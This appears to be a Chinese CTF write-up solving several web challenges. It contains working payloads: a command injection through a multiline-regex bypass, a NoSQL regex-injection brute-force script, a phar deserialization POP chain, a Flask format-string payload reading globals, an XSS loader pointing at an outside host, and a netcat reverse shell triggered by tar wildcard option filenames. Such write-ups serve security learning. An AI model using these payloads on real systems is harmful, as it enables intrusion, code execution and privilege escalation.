用优惠码 买个 X ?

考点:

  • 伪随机数预测
  • 正则多行匹配绕过

http://123.207.84.13:22333/www.zip 给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

伪随机数的预测,通过已知的部分随机数可以算出随机数种子。

工具:http://www.openwall.com/php_mt_seed/

首先要计算每个随机字符对应的随机数,格式化后喂给php_mt_seed。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len = strlen($allowable_characters) - 1;
$pass = $argv[1];
for ($i = 0; $i < strlen($pass); $i++) {
if ($i <= 15 / 2) {
$number = strpos($allowable_characters, $pass[$i]);
} else {
$number = -(strpos($allowable_characters, $pass[$i]) - 62);
}
echo "$number $number 0 $len ";
}
echo "\n";

算出随机数种子,

image-20181217142648605

用计算出的种子就能算出优惠码:

1
2
3
4
5
6
7
8
9
10
11
12
13
$seed = '679310949';

mt_srand($seed);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth = '';
$len = 24;
for ($i = 0; $i < $len; $i++) {
if ($i <= ($len / 2))
$auth .= substr($str_rand, mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth .= substr($str_rand, mt_rand(0, strlen($str_rand) - 1) * -1, 1);
}
echo $auth;

exec.php存在命令执行,用了多行匹配,导致绕过:

1
ip=123.123.123.123%0ahead /`ls /|grep 'fla'`

Injection ???

考点:

  • nosql注入

坑点在于有验证码。利用pytesseract可以识别,脚本跑一下就能注出密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
# @Time : 2018/12/17 5:39 PM
# @Author : sn00py
# @Comment:

from PIL import Image
import pytesseract
import requests
import sys
import string

vertify_url = "http://123.206.213.66:45678/vertify.php"
login_url = "http://123.206.213.66:45678/check.php?{}"

cookies = {
"PHPSESSID": "7s2jq2cnmkd9lgr4gg06me29e1",
}


def get_vertify_img():
try:
resp = requests.get(url=vertify_url, cookies=cookies)
with open('vertify.jpg', 'wb+') as f:
f.write(resp.content)
except Exception as e:
print('验证码获取失败')


def get_vertify_code(filename):
try:
picture = Image.open(filename)
text = pytesseract.image_to_string(picture)
return text.lower()
except Exception as e:
print('验证码识别失败')
print(e)


def login(url):
proxies = {
'http': 'http://127.0.0.1:8080',
}
try:
resp = requests.get(url, cookies=cookies)
return resp.text
except Exception as e:
pass


if __name__ == '__main__':
base_char = string.ascii_lowercase + string.digits
tmp_pwd = ''

while True:
flag = True
for c in base_char:
if flag:
while True:
# print(c)
get_vertify_img()
code = get_vertify_code('vertify.jpg')
payload = "username[$ne]=toto&password[$regex]=^{}{}.*&vertify={}".format(tmp_pwd, c, code)

url = login_url.format(payload)
resp = login(url)

if 'username or password incorrect' in resp:
break
if 'Nice' in resp:
tmp_pwd += c
flag = False
print('password:', tmp_pwd)
break
else:
break

跑出密码:skmun

登陆就能看到flag,

1
username[$ne]=toto&password=skmun

SimplePHP

考点:

  • phar反序列化
  • POP链构造

考察phar反序列化和POP链的构造。

源码中给出的几个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
class C1e4r
{
public $test;
public $str;

public function __construct($name)
{
$this->str = $name;
}

public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;

public function __construct($file)
{
$this->source = $file;
echo $this->source;
}

public function __toString()
{
$content = $this->str['str']->source;
return $content;
}

public function __set($key, $value)
{
$this->$key = $value;
}

public function _show()
{
if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}

}

class Test
{
public $file;
public $params;

public function __construct()
{
$this->params = array();
}

public function __get($key)
{
return $this->get($key);
}

public function get($key)
{
if (isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}

public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
$text = file_get_contents($value);
return $text;
}
}

POP链的构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

$my_test = new Test();
$my_test->params = ['source' => '/var/www/html/f1ag.php'];// file_get_contents在Linux下需要绝对路径

$my_show = new Show('lalal');
$my_show->str = ['str' => $my_test];
$my_c1e4r = new C1e4r($my_show);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = $my_c1e4r;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传phar.jpg,然后算出文件名:

1
2
3
$ip = '*.*.*.*';
$filename = md5('phar.jpg' . $ip) . ".jpg";
echo $filename;

访问http://120.79.158.180:11115/file.php?file=phar:///var/www/html/upload/594d4f463a3ffe5ae8da19c0fe45bbc7.jpg/test.txt,得到flag。

皇家线上赌场

考点:

  • /proc/self/cwd在文件读取漏洞中的利用
  • 客户端session伪造
  • python格式化字符串漏洞

给了个文件读取漏洞:http://107.167.188.241/static?file=/etc/passwd

给了个目录树:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

[[email protected]]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[[email protected]]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)

首先读/proc/mounts得到web路径:/home/ctf/web_assli3fasdf

但是直接拼接路径读不到源码,不过可以通过/proc/self/cwd/app/views.py来读

views.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

__init__.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

其他的就读不到了。

拿到了secret_key就可以伪造session。

游戏规则:

1
2
3
4
公告:本网站已经采用python3.5重写
公告:您的内测账户将在注册10分钟后重置
游戏规则:
您有1万初始金额(可提现),请在10分钟内使用,否则账户重置。您可以在本平台认购游戏币,并且可以随时卖出。买入价为平台官方价格1元/币,卖出价随机,最小0.8/币,最大2/币封顶,多买多赚,只需10分钟,您就可以喜提flag,迎娶白富美,走上人生巅峰!!!

解码一下session可以发现用户名和钱都保存在session里。

非admin用户的数据会10分钟重置一次,所以伪造用户名为admin和钱,就能到getflag操作。这里是一个格式化字符串漏洞,

1
2
3
4
5
6
7
8
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

给了个tips,User对象有一个save方法,可以方便构造利用链。

大致的思路是找到g对象所在的命名空间,然后调__globals__获取所有变量,再从中取出g对象。

payload:

1
field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag

有趣的邮箱注册

考点:

  • XSS
  • tar通配符提权

给了部分源码:

1
2
3
4
5
6
7
8
9
10
11
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>

老版本PHP的FILTER_VALIDATE_EMAIL可以被绕过:

1
"<script/src=//edivanwur.exeye.io/empuzid></script>"@example.com

打到后台源码发现有一处RCE。

反弹shell后发现一个备份文件:/a.gz,解压得到flag。

然后flag被判取消了,又按正规解法重做了一遍。

反弹shell后发现flag只有flag用户可读。

在子目录下找到另一个web,

image-20181218212521214

功能就是上传文件,然后调用tar打包。tar使用了通配符,导致可以提权。

上传3个文件:

  • shell.sh => nc 139.199.185.89 8086 -t -e /bin/bash

  • --checkpoint-action=exec=sh shell.sh => 空

  • --checkpoint=1 => 空

然后tar打包就会以flag用户执行shell.sh,反弹得到另一个shell,即可读flag。